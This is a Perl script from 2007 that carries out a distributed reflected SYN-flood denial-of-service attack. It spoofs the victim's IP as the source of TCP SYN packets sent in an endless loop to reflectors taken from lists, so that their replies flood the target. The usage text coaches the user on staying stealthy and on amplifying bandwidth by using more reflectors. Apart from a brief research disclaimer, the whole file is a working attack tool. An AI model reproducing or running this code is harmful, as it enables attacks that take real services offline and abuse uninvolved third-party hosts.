#!/usr/bin/perl

#
# ~written by whoppix (c) 2007~
# This Piece of software may be freely (re-)distributed under the Terms of the LGPL.
# for a short usage type ./script --help
# this program requires: perl, Net::RawIP (depends on libpcap), Getopt::Long
# (which should be shipped along with your perl core distribution)
# if you want to gain a deeper understanding about how DRDoS works, have a look at:
# http://www.grc.com/dos/drdos.htm
# This program is written for testing and researching purposes only.
#

use warnings;
use strict;
use Net::RawIP;
use Getopt::Long;

my $verbose   = '0';
my $syn_count = '1';
my $victim    = '127.0.0.1';
my @lists     = ();
my $net       = new Net::RawIP;

GetOptions(
  'verbose+'    => \$verbose,
  'syn_count=s' => \$syn_count,
  'list=s'      => \@lists,
  'help'        => \&usage,       
);
$victim = shift @ARGV;
if ( !$victim ) {
  die "Error: No target specified, use --help\n";
}
if ( !@lists ) {
  die "Error: You have to specify at least one reflector list, use --help\n";
}
foreach my $file (@lists) {
  if ( !-e $file ) {
    die "File does not seem to exist: $file\n";
  }
}
print "Starting attack on target $victim.\n";
print "press Ctrl-C to interrupt at any time.\n" if $verbose >= 1;
while (1) {
  foreach my $listfile (@lists) {
    print "Loading reflector file: $listfile\n" if $verbose >= 1;
    open( my $list, "<", $listfile )
      or die "Error opening file for reading: $listfile\n";
    while (<$list>) {
      chomp;
      if ( check_format($_) ) {
        my $counter   = $syn_count;
        my $reflector = $_;
        my ( $ip, $port ) = split( ':', $reflector );
        print "reflector ip: $ip, reflector port: $port\n"
          if $verbose > 1;
        for ( my $counter = $syn_count; $counter > 0; $counter-- ) {
          print "attacking using reflector: $reflector\n"
            if $verbose > 1;
          my $rand = int( rand(65535) );
          while ( $rand == 0 ) {
            print
              "random number calculated for SRCPORT was zero, retrying...\n"
              if $verbose > 1;
            $rand = int( rand(65535) );
          }
          print "random port used for SRCPORT: $rand\n"
            if $verbose > 1;
          $net->set(
            {   ip => {
                saddr => $victim,
                daddr => $ip,
              },
              tcp => {
                source => $rand,
                dest   => $port,
                syn    => 1,
              },
            }
          );
          $net->send();
        }
      }
      else {
        print
          "mirror \"$_\" not in correct format (ip:port) omitting...\n"
          if $verbose >= 1;
      }
    }
  }
}

sub usage {
  print "\nusage:\n\n";
  print "--help\t\t: youre reading it\n";
  print
    "--verbose\t: makes the script more verbose. can be used several times to increase verbosity.\n";
  print "--list\t\t: used to specify a reflectorlist.\n";
  print
    "\t\texample: ./script --list list1.txt --list list2.txt --list list3.txt 127.0.0.1\n";
  print
    "\t\tthe more (and longer) lists you have, the better will the result be, and the more stealth you will gain.\n";
  print
    "--syn_count\t: used to set the syn_count to a special value. default is 1.\n";
  print "\t\tdon't use too much - that would decrease your stealth. Default (and that should be fine) is 1.\n";
  print "\nGeneral information:\n";
  print "The usage of multiple lists can increase your stealth.\n";
  print "The more Mirrors or \"reflectors\" you use, the better will the result be.\n";
  print "The better the bandwidth of your mirrors is, the better will the result be.\n";
  print "Generally spoken is the bandwidth you use to flood your victim amplified by the factor 3-4.\n\n";
  die "\n";
}

sub check_format {    # a function to check the ip:port format.
  no warnings;
  my $address = shift;
  my ( $ip, $port ) = split( ':', $address );
  my @octets = split( '\.', $ip );

  if ( $port < 1 or $port > 65535 ) {
    print "port $port too high or low\n" if $verbose >= 1;
    return;
  }
  if ( @octets != 4 ) {
    print "ip has invalid number of octetts: $ip\n" if $verbose >= 1;
    return;
  }
  foreach my $octet (@octets) {
    if ( $octet < 0 or $octet > 255 ) {
      print "octet is invalid: $octet\n" if $verbose >= 1;
      return;
    }
  }
  print "VALID!\n" if $verbose > 1;
  return 1;
}